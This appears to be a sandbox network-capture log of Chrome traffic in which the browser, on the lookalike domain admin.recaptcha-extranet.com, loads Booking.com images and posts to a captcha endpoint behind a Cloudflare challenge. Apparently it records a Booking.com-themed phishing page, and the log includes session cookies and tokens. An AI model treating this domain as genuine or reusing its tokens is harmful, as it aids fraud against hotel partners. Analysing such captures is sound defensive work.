PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.17	49762	18.245.31.53	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:33 UTC	389	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:34 UTC	769	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Fri, 27 Dec 2024 12:11:20 GMT Last-Modified: Mon, 07 Sep 2020 09:08:23 GMT ETag: "5f55f887-282" Expires: Sun, 26 Jan 2025 12:11:20 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 ebc0709f2918acef5e26208dffcb618c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: l558ybD7-vNbzsUraHFdxMsLDqoQQVwcbyoi6_ptxRgQlncOIEqwUA== Age: 1094594
2025-01-09 04:14:34 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	49763	18.245.31.129	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:33 UTC	649	OUT	GET /static/img/favicon/9ca83ba2a5a3293ff07452cb24949a5843af4592.svg HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://admin.recaptcha-extranet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:34 UTC	797	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Length: 1197 Connection: close Server: nginx Date: Fri, 27 Dec 2024 01:31:15 GMT Last-Modified: Tue, 21 Mar 2023 13:15:52 GMT Expires: Sun, 26 Jan 2025 01:31:15 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * ETag: "6419ae08-4ad" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 4bf44796811ecea5881c6668d3aa9226.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: fTOgAAz7GWlJLakLwBcElMWOq0x3XE19S1fkPXs2to-FvcC8xrp3Dw== Age: 1132999
2025-01-09 04:14:34 UTC	1197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 4c 6f 76 69 6e 67 6c 79 20 65 78 70 6f 72 74 65 64 20 62 79 20 4a 65 73 73 20 53 74 75 62 65 6e 62 6f 72 64 20 66 6f 72 20 42 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 69 6e 20 41 6d 73 74 65 72 64 61 6d 20 31 36 2d 30 33 2d 32 30 32 33 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 62 64 6f 74 2d 66 61 76 69 63 6f 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 --><svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	49764	18.245.31.18	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:34 UTC	401	OUT	GET /static/img/favicon/9ca83ba2a5a3293ff07452cb24949a5843af4592.svg HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:35 UTC	797	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Length: 1197 Connection: close Server: nginx Date: Fri, 27 Dec 2024 01:31:15 GMT Last-Modified: Tue, 21 Mar 2023 13:15:52 GMT Expires: Sun, 26 Jan 2025 01:31:15 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * ETag: "6419ae08-4ad" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 37236193bd380575cb98e661bedbb260.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: QYAAbgFF-zgXiw2WscnaS3f0_Hva3qlcUXn-vuHhteSz6Jw4fD1PJQ== Age: 1133000
2025-01-09 04:14:35 UTC	1197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 4c 6f 76 69 6e 67 6c 79 20 65 78 70 6f 72 74 65 64 20 62 79 20 4a 65 73 73 20 53 74 75 62 65 6e 62 6f 72 64 20 66 6f 72 20 42 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 69 6e 20 41 6d 73 74 65 72 64 61 6d 20 31 36 2d 30 33 2d 32 30 32 33 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 62 64 6f 74 2d 66 61 76 69 63 6f 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 --><svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	49757	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:37 UTC	1750	OUT	POST /api/captcha HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive Content-Length: 19 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" Content-Type: application/json sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Origin: https://admin.recaptcha-extranet.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://admin.recaptcha-extranet.com/sign-in?op_token=hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dHJpYnV0ZXMiOnsiaXRlbUlkIjoibUZ0UUJIQXYiLCJ3b3JrZXJJZCI6NzczNTQwNTMzN319_mFtQBHAv Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=mBVqLi8fK8TROeMAS5Uf2p_GJrvOpZEg10sVcToN6H8-1736396046-1.2.1.1-_q3eHqIsTiUsUvrxf4xW2D5eAidKuS2JTfIobRL8urmgyPUJDAarFRHshTnPKUeqJ3pcwPGHao09_kgz2D6MYHAbbmLdnHQ9NLuYl7Dh_l5dGZWQR3JCl7sNdmjoPUAAGWD81crQLK4QadtwOh6Ajqh2Ka3vKLnB52jwBcSf7vpWLGRe2VTJz6_BNr9j.HlXTWCvFZ4t5xNNckr_A__SvRfif2EwbJbKcjjPU4KHkFBC1R7oJcevEDTDCtOenMXFsD_TjDjWLbX0lwGM_1N8G59nSxaD1IYudhyQ2KFCeuM5vC0rWz3UWYRgqnVJgVXz5T_ER34JIgp781_QUjxxdDL8zFZGAz_qFvIjvIQ4Bgl5rkxnicQzcm5h3NMyLu_CcazKxnwmJr9Q42HXJEJ7Z1XjZG9Wm8H35UF0y1V4XxSVRoYyAVFaz1I_K_geFq.7
2025-01-09 04:14:37 UTC	19	OUT	Data Raw: 7b 22 69 74 65 6d 22 3a 22 6d 46 74 51 42 48 41 76 22 7d Data Ascii: {"item":"mFtQBHAv"}
2025-01-09 04:14:42 UTC	869	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:42 GMT Content-Type: application/json; charset=utf-8 Content-Length: 12 Connection: close X-Powered-By: Express ETag: W/"c-s0Pkk3eP8rqeJO1IrhJ4YunHtGA" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0%2B7s8t5YW5FVhBgVFdTpeKBJ5psPhwkHEqfHe3u1XsF%2Fkreo8g1MOl7f1VssAEOPv%2FEgpekQHsIoUtGX9O8EcIHVRNnlcdf8vq%2BDj6970GFqSstqitcPmKJu6gK2IqP7vOLaTnELh9cRm67pUbVy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff199facf4143e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1556&rtt_var=904&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2862&recv_bytes=2369&delivery_rate=1028169&cwnd=247&unsent_bytes=0&cid=f6101e70ff464a28&ts=11758&x=0"
2025-01-09 04:14:42 UTC	12	IN	Data Raw: 7b 22 69 64 22 3a 34 37 34 30 30 7d Data Ascii: {"id":47400}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	49766	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:43 UTC	363	OUT	GET /api/captcha HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:43 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 04:14:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2025-01-09 04:14:43 UTC	926	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 69 6b 4d 42 65 7a 4e 43 64 66 4e 63 4e 34 72 4d 58 39 5a 55 34 30 6d 39 34 62 5a 50 72 51 55 70 4a 74 6c 48 53 38 6b 75 39 7a 4a 42 53 76 36 78 72 49 6b 73 56 34 43 75 55 7a 73 57 35 48 6e 30 44 6c 50 2b 75 4a 44 38 53 62 37 6e 4e 56 34 63 72 55 35 49 39 56 51 36 36 41 37 6d 48 36 39 2b 31 32 68 55 39 5a 38 7a 58 50 51 3d 24 6a 47 72 50 33 50 36 64 46 46 75 52 50 5a 75 62 72 6d 46 41 32 51 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 Data Ascii: cf-chl-out: ikMBezNCdfNcN4rMX9ZU40m94bZPrQUpJtlHS8ku9zJBSv6xrIksV4CuUzsW5Hn0DlP+uJD8Sb7nNV4crU5I9VQ66A7mH69+12hU9Z8zXPQ=$jGrP3P6dFFuRPZubrmFA2Q==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires:
2025-01-09 04:14:43 UTC	1369	IN	Data Raw: 32 32 39 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 2293<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2025-01-09 04:14:43 UTC	1369	IN	Data Raw: 75 4d 7a 67 34 4c 6a 51 77 4e 79 34 7a 4f 44 6b 75 4e 44 41 33 4c 6a 6b 35 4e 43 41 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d Data Ascii: uMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@m
2025-01-09 04:14:43 UTC	1369	IN	Data Raw: 2e 30 30 75 58 57 5f 54 31 68 54 50 66 77 42 53 4a 78 63 32 79 76 31 73 52 65 39 44 34 78 41 64 54 51 4c 49 4e 5f 5a 66 68 39 51 66 59 44 78 6a 69 51 48 78 52 48 48 63 48 33 54 4d 57 30 5a 54 57 33 67 44 6b 37 35 76 46 47 51 6e 68 57 53 4d 52 74 38 45 71 6c 6b 46 71 61 4d 51 47 41 78 78 64 4f 56 71 48 47 72 48 5f 4a 50 31 65 48 31 53 62 7a 38 6a 49 70 63 49 4e 35 30 7a 50 56 76 65 44 2e 73 63 36 74 79 49 35 51 65 54 30 77 51 33 52 4c 53 74 41 43 50 77 68 44 72 52 65 55 6d 35 55 79 32 39 64 46 74 64 75 58 78 75 4b 66 33 66 76 37 57 59 37 6b 72 72 59 52 77 6c 66 70 6b 35 4a 61 52 77 6b 54 44 34 78 64 71 67 49 4e 67 31 46 78 46 2e 63 4f 4d 6c 7a 44 62 31 71 74 73 49 72 68 58 54 45 6e 59 76 6a 6e 4e 47 35 5a 71 7a 41 71 46 50 34 6c 51 6c 42 52 65 56 58 31 44 Data Ascii: .00uXW_T1hTPfwBSJxc2yv1sRe9D4xAdTQLIN_Zfh9QfYDxjiQHxRHHcH3TMW0ZTW3gDk75vFGQnhWSMRt8EqlkFqaMQGAxxdOVqHGrH_JP1eH1Sbz8jIpcIN50zPVveD.sc6tyI5QeT0wQ3RLStACPwhDrReUm5Uy29dFtduXxuKf3fv7WY7krrYRwlfpk5JaRwkTD4xdqgINg1FxF.cOMlzDb1qtsIrhXTEnYvjnNG5ZqzAqFP4lQlBReVX1D
2025-01-09 04:14:43 UTC	1369	IN	Data Raw: 51 33 61 44 49 76 54 41 6e 43 6d 6c 53 38 55 30 43 76 36 4c 37 55 72 43 6c 4a 36 6c 6a 7a 32 70 37 41 52 6b 73 63 66 2e 76 59 6e 6c 4f 34 6d 54 33 51 54 61 46 58 53 32 4b 77 41 31 57 4b 50 66 6b 66 61 77 76 4d 36 4b 31 5f 77 53 4a 4a 6d 6d 30 6f 30 38 51 71 52 62 6d 43 49 70 4f 45 47 4a 67 67 4b 2e 44 57 77 67 64 70 6f 65 6e 6d 6f 59 6c 49 69 6a 71 4e 65 39 57 78 67 55 5f 6c 46 4e 34 5f 6a 65 6c 30 7a 41 76 34 51 64 61 75 4b 6d 70 6f 49 52 2e 71 6c 6c 51 6a 6f 4e 35 4b 63 39 53 4d 74 47 6f 46 64 69 6e 64 69 44 75 58 53 4d 43 73 47 52 52 2e 41 64 48 77 49 56 52 6d 4f 6b 6e 62 61 77 77 52 5a 34 45 31 75 58 54 45 57 73 74 43 54 59 4c 73 62 41 6f 34 6a 61 66 49 37 53 44 41 32 48 66 36 48 52 75 56 57 69 45 7a 64 36 51 6b 31 6a 6a 55 39 34 43 6c 39 48 43 4f 42 Data Ascii: Q3aDIvTAnCmlS8U0Cv6L7UrClJ6ljz2p7ARkscf.vYnlO4mT3QTaFXS2KwA1WKPfkfawvM6K1_wSJJmm0o08QqRbmCIpOEGJggK.DWwgdpoenmoYlIijqNe9WxgU_lFN4_jel0zAv4QdauKmpoIR.qllQjoN5Kc9SMtGoFdindiDuXSMCsGRR.AdHwIVRmOknbawwRZ4E1uXTEWstCTYLsbAo4jafI7SDA2Hf6HRuVWiEzd6Qk1jjU94Cl9HCOB
2025-01-09 04:14:43 UTC	1369	IN	Data Raw: 76 6b 37 6f 76 70 52 66 4f 39 7a 67 51 4b 49 75 4a 63 67 72 52 58 4e 4b 76 43 44 6e 68 5a 5f 43 6d 47 54 76 49 77 38 38 47 4c 76 7a 67 58 4c 6f 34 6b 6e 4e 4f 62 69 64 39 71 53 6a 63 31 53 33 4c 33 48 38 59 59 78 41 46 36 5f 68 6c 41 64 6c 46 35 4e 32 5f 30 47 47 70 53 51 77 4a 77 66 39 53 30 62 4a 36 63 67 30 76 46 6d 54 66 68 79 75 7a 78 6a 64 34 55 6e 58 4f 39 6a 63 63 6e 30 74 64 50 63 5f 4d 54 53 68 6a 34 75 4b 39 4d 30 65 34 32 77 71 55 6e 73 73 59 54 58 74 72 30 59 70 57 37 6b 5a 39 65 47 38 4f 78 4b 39 5f 52 6f 51 77 65 6f 4f 58 44 69 33 41 65 71 6e 79 55 44 4a 39 59 70 52 4a 51 67 43 2e 41 37 66 6e 79 41 70 74 63 43 59 79 33 75 6e 44 33 65 30 33 73 6d 47 65 61 74 70 79 30 46 73 5a 65 57 4a 68 55 69 6d 62 77 33 43 41 38 6c 56 58 4b 49 32 67 77 50 Data Ascii: vk7ovpRfO9zgQKIuJcgrRXNKvCDnhZ_CmGTvIw88GLvzgXLo4knNObid9qSjc1S3L3H8YYxAF6_hlAdlF5N2_0GGpSQwJwf9S0bJ6cg0vFmTfhyuzxjd4UnXO9jccn0tdPc_MTShj4uK9M0e42wqUnssYTXtr0YpW7kZ9eG8OxK9_RoQweoOXDi3AeqnyUDJ9YpRJQgC.A7fnyAptcCYy3unD3e03smGeatpy0FsZeWJhUimbw3CA8lVXKI2gwP
2025-01-09 04:14:43 UTC	1369	IN	Data Raw: 44 4d 34 6c 55 63 7a 30 6b 4d 72 56 59 76 4d 4f 72 33 52 43 4a 38 72 32 65 64 44 6c 6d 65 4e 42 36 31 6a 65 58 42 70 59 54 66 4e 31 70 31 6c 47 34 45 75 58 55 59 62 51 6f 70 54 58 66 2e 62 6c 4e 6f 62 44 61 41 65 42 6d 45 44 5f 75 58 36 50 63 6d 76 65 48 61 6e 77 51 6c 77 35 74 36 6f 66 6e 5f 4b 64 44 46 46 6b 75 4d 77 50 78 5f 64 38 36 4b 52 4d 66 64 31 6c 77 34 76 66 30 65 69 54 54 57 6b 37 6e 53 54 31 50 6f 41 2e 4a 49 37 67 52 35 4b 46 51 2e 67 54 49 6b 51 44 43 57 30 35 30 54 4d 63 4f 54 4d 59 6b 4a 32 74 4e 36 6b 64 63 74 34 33 46 7a 6d 67 72 58 65 42 51 30 36 53 73 67 64 61 56 44 5f 4d 39 6f 4b 55 4f 6f 77 6d 65 72 55 2e 4f 5a 70 63 53 6f 53 65 4b 51 61 58 31 55 30 64 50 75 56 77 48 67 6d 45 39 69 4b 74 50 53 38 6f 42 36 33 38 35 62 5a 75 7a 4e 38 Data Ascii: DM4lUcz0kMrVYvMOr3RCJ8r2edDlmeNB61jeXBpYTfN1p1lG4EuXUYbQopTXf.blNobDaAeBmED_uX6PcmveHanwQlw5t6ofn_KdDFFkuMwPx_d86KRMfd1lw4vf0eiTTWk7nST1PoA.JI7gR5KFQ.gTIkQDCW050TMcOTMYkJ2tN6kdct43FzmgrXeBQ06SsgdaVD_M9oKUOowmerU.OZpcSoSeKQaX1U0dPuVwHgmE9iKtPS8oB6385bZuzN8
2025-01-09 04:14:43 UTC	645	IN	Data Raw: 74 69 6f 6e 2e 73 65 61 72 63 68 20 3d 3d 3d 20 27 27 20 26 26 20 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 73 6c 69 63 65 28 30 2c 20 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 6c 65 6e 67 74 68 20 2d 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f 67 55 48 61 73 68 2e 6c 65 6e 67 74 68 29 2e 69 6e 64 65 78 4f 66 28 27 3f 27 29 20 21 3d 3d 20 2d 31 20 3f 20 27 3f 27 20 3a 20 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 69 66 20 28 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 20 26 26 20 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 29 20 7b 76 61 72 20 6f 67 55 20 3d 20 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 20 2b 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f 67 55 51 75 Data Ascii: tion.search === '' && location.href.slice(0, location.href.length - window._cf_chl_opt.cOgUHash.length).indexOf('?') !== -1 ? '?' : location.search;if (window.history && window.history.replaceState) {var ogU = location.pathname + window._cf_chl_opt.cOgUQu
2025-01-09 04:14:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	49775	35.190.80.1	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
